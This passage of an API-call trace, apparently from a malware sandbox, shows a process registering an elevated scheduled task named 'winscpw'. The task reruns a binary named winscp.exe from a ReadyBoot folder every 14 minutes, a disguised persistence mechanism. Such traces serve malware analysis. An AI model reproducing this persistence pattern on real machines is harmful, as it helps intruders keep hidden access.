(lpStart=" ", wMatch=0x5c) returned 0x0 [0080.439] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0080.439] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0080.439] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0080.439] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0080.439] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0080.439] StrChrW (lpStart=" ", wMatch=0x42) returned 0x0 [0080.439] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0080.439] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0080.439] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0080.439] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0080.439] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0080.439] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0080.439] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0080.439] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0080.440] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0080.440] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0080.440] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0080.440] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0080.440] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0080.440] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0080.440] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0080.440] IUnknown:Release (This=0x426610) returned 0x1 [0080.440] IUnknown:Release (This=0x427e80) returned 0x1 [0080.440] ITaskDefinition:get_Triggers (in: This=0x427dc0, ppTriggers=0x17c820 | out: ppTriggers=0x17c820*=0x426380) returned 0x0 [0080.440] ITriggerCollection:Create (in: This=0x426380, Type=1, ppTrigger=0x17c818 | out: ppTrigger=0x17c818*=0x426680) returned 0x0 [0080.441] lstrlenW (lpString="14") returned 2 [0080.441] _vsnwprintf (in: _Buffer=0x17c7a0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x17c798 | out: _Buffer="PT14M") returned 5 [0080.441] ITrigger:get_Repetition (in: This=0x426680, ppRepeat=0x17c810 | out: ppRepeat=0x17c810*=0x426710) returned 0x0 [0080.441] IRepetitionPattern:put_Interval (This=0x426710, Interval="PT14M") returned 0x0 [0080.441] IUnknown:Release (This=0x426710) returned 0x1 [0080.441] _vsnwprintf (in: _Buffer=0x17c760, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x17c738 | out: _Buffer="2023-09-19T17:17:00") returned 19 [0080.441] ITrigger:put_StartBoundary (This=0x426680, StartBoundary="2023-09-19T17:17:00") returned 0x0 [0080.441] lstrlenW (lpString="") returned 0 [0080.441] lstrlenW (lpString="") returned 0 [0080.441] lstrlenW (lpString="") returned 0 [0080.441] lstrlenW (lpString="") returned 0 [0080.442] IUnknown:Release (This=0x426680) returned 0x1 [0080.442] IUnknown:Release (This=0x426380) returned 0x1 [0080.442] ITaskDefinition:get_Settings (in: This=0x427dc0, ppSettings=0x17ccc0 | out: ppSettings=0x17ccc0*=0x4263f0) returned 0x0 [0080.442] lstrlenW (lpString="") returned 0 [0080.442] IUnknown:Release (This=0x4263f0) returned 0x1 [0080.442] GetLocalTime (in: lpSystemTime=0x17cb78 | out: lpSystemTime=0x17cb78*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x4, wMilliseconds=0x32a)) [0080.442] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0080.442] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0080.443] GetUserNameW (in: lpBuffer=0x17cba0, pcbBuffer=0x17cb88 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x17cb88) returned 1 [0080.444] ITaskDefinition:get_RegistrationInfo (in: This=0x427dc0, ppRegistrationInfo=0x17cb70 | out: ppRegistrationInfo=0x17cb70*=0x427f00) returned 0x0 [0080.444] IRegistrationInfo:put_Author (This=0x427f00, Author="") returned 0x0 [0080.444] _vsnwprintf (in: _Buffer=0x17cba0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x17cb38 | out: _Buffer="2023-09-19T17:17:04") returned 19 [0080.444] IRegistrationInfo:put_Date (This=0x427f00, Date="") returned 0x0 [0080.444] IUnknown:Release (This=0x427f00) returned 0x1 [0080.445] malloc (_Size=0x18) returned 0x426790 [0080.445] free (_Block=0x426790) [0080.445] lstrlenW (lpString="") returned 0 [0080.445] ITaskDefinition:get_Principal (in: This=0x427dc0, ppPrincipal=0x17cd90 | out: ppPrincipal=0x17cd90*=0x426560) returned 0x0 [0080.445] IPrincipal:put_RunLevel (This=0x426560, RunLevel=1) returned 0x0 [0080.445] IUnknown:Release (This=0x426560) returned 0x1 [0080.445] malloc (_Size=0x18) returned 0x426790 [0080.445] ITaskFolder:RegisterTaskDefinition (in: This=0x427d70, Path="winscpw", pDefinition=0x427dc0, flags=6, UserId=0x17ce10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x17ce50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x17ed20, varVal2=0xfe), LogonType=3, sddl=0x17ce30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x17cd30 | out: ppTask=0x17cd30*=0x426930) returned 0x0 [0080.647] free (_Block=0x426790) [0080.647] _memicmp (_Buf1=0x1ebbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.647] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x1ed400, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0080.647] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0080.647] GetProcessHeap () returned 0x1d0000 [0080.647] GetProcessHeap () returned 0x1d0000 [0080.647] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed760) returned 1 [0080.647] GetProcessHeap () returned 0x1d0000 [0080.647] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ed760) returned 0xc [0080.647] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed760 | out: hHeap=0x1d0000) returned 1 [0080.647] GetProcessHeap () returned 0x1d0000 [0080.647] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x82) returned 0x209d10 [0080.647] _vsnwprintf (in: _Buffer=0x17d470, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x17ccd8 | out: _Buffer="SUCCESS: The scheduled task \"winscpw\" has successfully been created.\n") returned 69 [0080.647] _fileno (_File=0x7feffe22ab0) returned -2 [0080.647] _errno () returned 0x424bb0 [0080.647] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0080.647] SetLastError (dwErrCode=0x6) [0080.647] lstrlenW (lpString="SUCCESS: The scheduled task \"winscpw\" has successfully been created.\n") returned 69 [0080.648] GetConsoleOutputCP () returned 0x0 [0080.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"winscpw\" has successfully been created.\n", cchWideChar=69, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 69 [0080.648] GetConsoleOutputCP () returned 0x0 [0080.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"winscpw\" has successfully been created.\n", cchWideChar=69, lpMultiByteStr=0xff941880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"winscpw\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 69 [0080.648] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 69 [0080.648] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0080.648] IUnknown:Release (This=0x426930) returned 0x0 [0080.648] TaskScheduler:IUnknown:Release (This=0x427dc0) returned 0x0 [0080.648] TaskScheduler:IUnknown:Release (This=0x427d70) returned 0x0 [0080.648] TaskScheduler:IUnknown:Release (This=0x2ddee0) returned 0x1 [0080.648] lstrlenW (lpString="") returned 0 [0080.648] lstrlenW (lpString="14") returned 2 [0080.648] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="14", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0080.648] GetProcessHeap () returned 0x1d0000 [0080.648] GetProcessHeap () returned 0x1d0000 [0080.648] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec4b0) returned 1 [0080.648] GetProcessHeap () returned 0x1d0000 [0080.648] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec4b0) returned 0x1fc [0080.649] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec4b0 | out: hHeap=0x1d0000) returned 1 [0080.649] GetProcessHeap () returned 0x1d0000 [0080.649] GetProcessHeap () returned 0x1d0000 [0080.649] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec320) returned 1 [0080.649] GetProcessHeap () returned 0x1d0000 [0080.649] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec320) returned 0x6 [0080.649] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec320 | out: hHeap=0x1d0000) returned 1 [0080.649] GetProcessHeap () returned 0x1d0000 [0080.649] GetProcessHeap () returned 0x1d0000 [0080.649] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed680) returned 1 [0080.649] GetProcessHeap () returned 0x1d0000 [0080.649] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ed680) returned 0x16 [0080.649] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed680 | out: hHeap=0x1d0000) returned 1 [0080.649] GetProcessHeap () returned 0x1d0000 [0080.649] GetProcessHeap () returned 0x1d0000 [0080.649] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed660) returned 1 [0080.649] GetProcessHeap () returned 0x1d0000 [0080.649] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ed660) returned 0x18 [0080.649] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed660 | out: hHeap=0x1d0000) returned 1 [0080.649] GetProcessHeap () returned 0x1d0000 [0080.650] GetProcessHeap () returned 0x1d0000 [0080.650] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecf30) returned 1 [0080.650] GetProcessHeap () returned 0x1d0000 [0080.650] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecf30) returned 0x20 [0080.650] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecf30 | out: hHeap=0x1d0000) returned 1 [0080.650] GetProcessHeap () returned 0x1d0000 [0080.650] GetProcessHeap () returned 0x1d0000 [0080.650] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec150) returned 1 [0080.650] GetProcessHeap () returned 0x1d0000 [0080.650] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec150) returned 0xa0 [0080.650] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec150 | out: hHeap=0x1d0000) returned 1 [0080.650] GetProcessHeap () returned 0x1d0000 [0080.650] GetProcessHeap () returned 0x1d0000 [0080.650] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebbd0) returned 1 [0080.650] GetProcessHeap () returned 0x1d0000 [0080.650] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ebbd0) returned 0x18 [0080.651] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebbd0 | out: hHeap=0x1d0000) returned 1 [0080.651] GetProcessHeap () returned 0x1d0000 [0080.651] GetProcessHeap () returned 0x1d0000 [0080.651] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecc90) returned 1 [0080.651] GetProcessHeap () returned 0x1d0000 [0080.651] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecc90) returned 0x20 [0080.651] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecc90 | out: hHeap=0x1d0000) returned 1 [0080.651] GetProcessHeap () returned 0x1d0000 [0080.651] GetProcessHeap () returned 0x1d0000 [0080.651] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec3b0) returned 1 [0080.651] GetProcessHeap () returned 0x1d0000 [0080.651] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec3b0) returned 0x56 [0080.651] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec3b0 | out: hHeap=0x1d0000) returned 1 [0080.651] GetProcessHeap () returned 0x1d0000 [0080.651] GetProcessHeap () returned 0x1d0000 [0080.651] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed6a0) returned 1 [0080.651] GetProcessHeap () returned 0x1d0000 [0080.651] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ed6a0) returned 0x18 [0080.651] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed6a0 | out: hHeap=0x1d0000) returned 1 [0080.651] GetProcessHeap () returned 0x1d0000 [0080.651] GetProcessHeap () returned 0x1d0000 [0080.651] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecc60) returned 1 [0080.651] GetProcessHeap () returned 0x1d0000 [0080.652] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecc60) returned 0x20 [0080.652] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecc60 | out: hHeap=0x1d0000) returned 1 [0080.652] GetProcessHeap () returned 0x1d0000 [0080.652] GetProcessHeap () returned 0x1d0000 [0080.652] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ede10) returned 1 [0080.652] GetProcessHeap () returned 0x1d0000 [0080.652] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ede10) returned 0x58 [0080.652] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ede10 | out: hHeap=0x1d0000) returned 1 [0080.652] GetProcessHeap () returned 0x1d0000 [0080.652] GetProcessHeap () returned 0x1d0000 [0080.652] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed640) returned 1 [0080.652] GetProcessHeap () returned 0x1d0000 [0080.653] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ed640) returned 0x18 [0080.653] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed640 | out: hHeap=0x1d0000) returned 1 [0080.653] GetProcessHeap () returned 0x1d0000 [0080.653] GetProcessHeap () returned 0x1d0000 [0080.653] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecc30) returned 1 [0080.653] GetProcessHeap () returned 0x1d0000 [0080.653] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecc30) returned 0x20 [0080.653] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecc30 | out: hHeap=0x1d0000) returned 1 [0080.653] GetProcessHeap () returned 0x1d0000 [0080.653] GetProcessHeap () returned 0x1d0000 [0080.653] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec490) returned 1 [0080.653] GetProcessHeap () returned 0x1d0000 [0080.653] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec490) returned 0xe [0080.653] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec490 | out: hHeap=0x1d0000) returned 1 [0080.653] GetProcessHeap () returned 0x1d0000 [0080.653] GetProcessHeap () returned 0x1d0000 [0080.653] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec470) returned 1 [0080.653] GetProcessHeap () returned 0x1d0000 [0080.653] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec470) returned 0x18 [0080.653] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec470 | out: hHeap=0x1d0000) returned 1 [0080.653] GetProcessHeap () returned 0x1d0000 [0080.653] GetProcessHeap () returned 0x1d0000 [0080.653] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5e50) returned 1 [0080.654] GetProcessHeap () returned 0x1d0000 [0080.654] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5e50) returned 0x20 [0080.654] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5e50 | out: hHeap=0x1d0000) returned 1 [0080.654] GetProcessHeap () returned 0x1d0000 [0080.654] GetProcessHeap () returned 0x1d0000 [0080.654] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebd50) returned 1 [0080.654] GetProcessHeap () returned 0x1d0000 [0080.654] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ebd50) returned 0x208 [0080.654] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebd50 | out: hHeap=0x1d0000) returned 1 [0080.654] GetProcessHeap () returned 0x1d0000 [0080.654] GetProcessHeap () returned 0x1d0000 [0080.655] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebbb0) returned 1 [0080.655] GetProcessHeap () returned 0x1d0000 [0080.655] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ebbb0) returned 0x18 [0080.655] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebbb0 | out: hHeap=0x1d0000) returned 1 [0080.655] GetProcessHeap () returned 0x1d0000 [0080.655] GetProcessHeap () returned 0x1d0000 [0080.655] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5d60) returned 1 [0080.655] GetProcessHeap () returned 0x1d0000 [0080.655] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5d60) returned 0x20 [0080.655] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5d60 | out: hHeap=0x1d0000) returned 1 [0080.655] GetProcessHeap () returned 0x1d0000 [0080.655] GetProcessHeap () returned 0x1d0000 [0080.655] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed400) returned 1 [0080.655] GetProcessHeap () returned 0x1d0000 [0080.655] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ed400) returned 0x200 [0080.656] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed400 | out: hHeap=0x1d0000) returned 1 [0080.656] GetProcessHeap () returned 0x1d0000 [0080.656] GetProcessHeap () returned 0x1d0000 [0080.656] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebbf0) returned 1 [0080.656] GetProcessHeap () returned 0x1d0000 [0080.656] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ebbf0) returned 0x18 [0080.656] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebbf0 | out: hHeap=0x1d0000) returned 1 [0080.656] GetProcessHeap () returned 0x1d0000 [0080.656] GetProcessHeap () returned 0x1d0000 [0080.656] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5cd0) returned 1 [0080.656] GetProcessHeap () returned 0x1d0000 [0080.656] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5cd0) returned 0x20 [0080.656] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5cd0 | out: hHeap=0x1d0000) returned 1 [0080.656] GetProcessHeap () returned 0x1d0000 [0080.656] GetProcessHeap () returned 0x1d0000 [0080.656] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec360) returned 1 [0080.656] GetProcessHeap () returned 0x1d0000 [0080.656] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec360) returned 0x14 [0080.656] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec360 | out: hHeap=0x1d0000) returned 1 [0080.656] GetProcessHeap () returned 0x1d0000 [0080.656] GetProcessHeap () returned 0x1d0000 [0080.657] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec340) returned 1 [0080.657] GetProcessHeap () returned 0x1d0000 [0080.657] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec340) returned 0x18 [0080.657] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec340 | out: hHeap=0x1d0000) returned 1 [0080.657] GetProcessHeap () returned 0x1d0000 [0080.657] GetProcessHeap () returned 0x1d0000 [0080.657] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5c10) returned 1 [0080.657] GetProcessHeap () returned 0x1d0000 [0080.657] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5c10) returned 0x20 [0080.657] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5c10 | out: hHeap=0x1d0000) returned 1 [0080.657] GetProcessHeap () returned 0x1d0000 [0080.657] GetProcessHeap () returned 0x1d0000 [0080.657] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec380) returned 1 [0080.657] GetProcessHeap () returned 0x1d0000 [0080.657] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec380) returned 0x16 [0080.658] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec380 | out: hHeap=0x1d0000) returned 1 [0080.658] GetProcessHeap () returned 0x1d0000 [0080.658] GetProcessHeap () returned 0x1d0000 [0080.658] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec200) returned 1 [0080.658] GetProcessHeap () returned 0x1d0000 [0080.658] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec200) returned 0x18 [0080.658] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec200 | out: hHeap=0x1d0000) returned 1 [0080.658] GetProcessHeap () returned 0x1d0000 [0080.658] GetProcessHeap () returned 0x1d0000 [0080.658] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5be0) returned 1 [0080.658] GetProcessHeap () returned 0x1d0000 [0080.658] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5be0) returned 0x20 [0080.658] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5be0 | out: hHeap=0x1d0000) returned 1 [0080.658] GetProcessHeap () returned 0x1d0000 [0080.658] GetProcessHeap () returned 0x1d0000 [0080.658] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebb30) returned 1 [0080.658] GetProcessHeap () returned 0x1d0000 [0080.659] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ebb30) returned 0x2 [0080.659] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebb30 | out: hHeap=0x1d0000) returned 1 [0080.659] GetProcessHeap () returned 0x1d0000 [0080.659] GetProcessHeap () returned 0x1d0000 [0080.659] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5a30) returned 1 [0080.659] GetProcessHeap () returned 0x1d0000 [0080.659] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5a30) returned 0x20 [0080.660] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5a30 | out: hHeap=0x1d0000) returned 1 [0080.660] GetProcessHeap () returned 0x1d0000 [0080.660] GetProcessHeap () returned 0x1d0000 [0080.660] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5a60) returned 1 [0080.660] GetProcessHeap () returned 0x1d0000 [0080.660] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5a60) returned 0x20 [0080.661] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5a60 | out: hHeap=0x1d0000) returned 1 [0080.661] GetProcessHeap () returned 0x1d0000 [0080.661] GetProcessHeap () returned 0x1d0000 [0080.661] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5a90) returned 1 [0080.661] GetProcessHeap () returned 0x1d0000 [0080.661] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5a90) returned 0x20 [0080.661] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5a90 | out: hHeap=0x1d0000) returned 1 [0080.661] GetProcessHeap () returned 0x1d0000 [0080.661] GetProcessHeap () returned 0x1d0000 [0080.661] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5ac0) returned 1 [0080.661] GetProcessHeap () returned 0x1d0000 [0080.661] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5ac0) returned 0x20 [0080.662] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5ac0 | out: hHeap=0x1d0000) returned 1 [0080.662] GetProcessHeap () returned 0x1d0000 [0080.662] GetProcessHeap () returned 0x1d0000 [0080.662] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eccc0) returned 1 [0080.662] GetProcessHeap () returned 0x1d0000 [0080.662] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1eccc0) returned 0x20 [0080.662] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eccc0 | out: hHeap=0x1d0000) returned 1 [0080.662] GetProcessHeap () returned 0x1d0000 [0080.662] GetProcessHeap () returned 0x1d0000 [0080.662] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed7a0) returned 1 [0080.663] GetProcessHeap () returned 0x1d0000 [0080.663] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ed7a0) returned 0xa [0080.663] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed7a0 | out: hHeap=0x1d0000) returned 1 [0080.663] GetProcessHeap () returned 0x1d0000 [0080.663] GetProcessHeap () returned 0x1d0000 [0080.663] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eccf0) returned 1 [0080.663] GetProcessHeap () returned 0x1d0000 [0080.663] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1eccf0) returned 0x20 [0080.664] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eccf0 | out: hHeap=0x1d0000) returned 1 [0080.664] GetProcessHeap () returned 0x1d0000 [0080.664] GetProcessHeap () returned 0x1d0000 [0080.664] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e7bc0) returned 1 [0080.664] GetProcessHeap () returned 0x1d0000 [0080.664] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e7bc0) returned 0x30 [0080.665] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e7bc0 | out: hHeap=0x1d0000) returned 1 [0080.665] GetProcessHeap () returned 0x1d0000 [0080.665] GetProcessHeap () returned 0x1d0000 [0080.665] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecd20) returned 1 [0080.665] GetProcessHeap () returned 0x1d0000 [0080.665] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecd20) returned 0x20 [0080.665] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecd20 | out: hHeap=0x1d0000) returned 1 [0080.665] GetProcessHeap () returned 0x1d0000 [0080.665] GetProcessHeap () returned 0x1d0000 [0080.665] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e7c00) returned 1 [0080.665] GetProcessHeap () returned 0x1d0000 [0080.666] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e7c00) returned 0x30 [0080.666] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e7c00 | out: hHeap=0x1d0000) returned 1 [0080.666] GetProcessHeap () returned 0x1d0000 [0080.666] GetProcessHeap () returned 0x1d0000 [0080.666] HeapValidate 